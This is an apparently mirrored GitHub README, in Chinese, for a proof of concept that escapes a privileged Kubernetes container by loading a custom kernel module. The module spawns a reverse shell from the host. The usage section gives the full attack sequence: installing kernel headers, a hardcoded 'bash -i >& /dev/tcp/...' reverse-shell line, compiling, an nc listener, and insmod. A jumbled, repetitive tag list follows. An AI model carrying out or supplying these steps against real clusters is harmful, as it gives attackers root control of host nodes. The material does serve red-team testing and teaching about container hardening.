P0lunchis/k8s-container-escape-lkm

GitHub: P0lunchis/k8s-container-escape-lkm

演示如何通过在特权Kubernetes容器中加载自定义Linux内核模块实现容器逃逸并获取宿主机root权限的PoC。

Stars: 0 | Forks: 0

# 🛠️ 内核模块反向 Shell – 特权容器逃逸 PoC 本仓库演示了一种真实的**容器逃逸技术**,通过自定义 **Linux Kernel Module (LKM)** 从 `--privileged` Kubernetes 容器内部生成反向 Shell。 该概念验证(PoC)在 [RBT Security 的 Kubernetes 渗透测试 – 第三部分](https://www.rbtsec.com/blog/kubernetes-penetration-testing-part-three-breaking-out-with-privileged-containers/) 中被特别介绍,展示了攻击者如何突破容器边界并**直接在主机上执行命令**。 视频教程:https://www.youtube.com/watch?v=YHCwMQY7SYs&list=PLUMEY7cBcvDMBeAK8RbJ00VHCIZkQcTV1 ### 🔍 关于 LKM(描述) 可加载内核模块 (LKM) 允许代码在无需重启的情况下运行于内核空间。当从特权 Kubernetes 容器中使用时,它可能导致主机被完全攻陷。此 PoC 展示了攻击者如何利用 SSTI,加载反向 Shell LKM,并逃逸容器以获取 Node 上的 root 权限。 ## 🚀 工作原理 1. 攻击者利用漏洞(例如 SSTI)在**特权容器**内获得代码执行权限。 2. **自定义内核模块**在容器内编译并注入,反向 Shell 的 IP 和端口被硬编码在源代码中。 3. 模块加载后,使用 `call_usermodehelper()` 向攻击者的监听器发起**反向 Shell**。 4. 由于容器拥有完整的内核 capabilities(例如 `CAP_SYS_MODULE`),这实现了**主机级命令执行**。 ## 📁 文件 - `k8s-lkm-reverse-shell.c`:内核模块源代码 - `Makefile`:用于为目标内核编译模块 ## 💻 用法 ``` # 步骤 1:在 container 内安装 dependencies apt update apt install -y build-essential linux-headers-$(uname -r) # 步骤 2:在 C source file 中编辑 reverse shell IP 和 port # 文件:k8s-lkm-reverse-shell.c # 将 替换为你的 attacker's listener #define REVERSE_SHELL_CMD \ "bash -i >& /dev/tcp// 0>&1"; # 步骤 3:编译 kernel module make clean && make # 步骤 4:启动你的 listener nc -lvnp 6999 # 步骤 5:(在 container 内) 加载 kernel module insmod k8s-lkm-reverse-shell.ko ```
标签:0day挖掘, CAP_SYS_MODULE, CISA项目, Hpfeeds, Linux内核模块, LKM, PoC, Rootkit, SSTI, TGT, Web报告查看器, Zeek, 内核安全, 协议分析, 反向Shell, 子域名突变, 安全, 客户端加密, 客户端加密, 客户端加密, 容器逃逸, 应用安全, 攻防演练, 数据展示, 暴力破解, 权限提升, 特权容器, 系统调用, 红队, 超时处理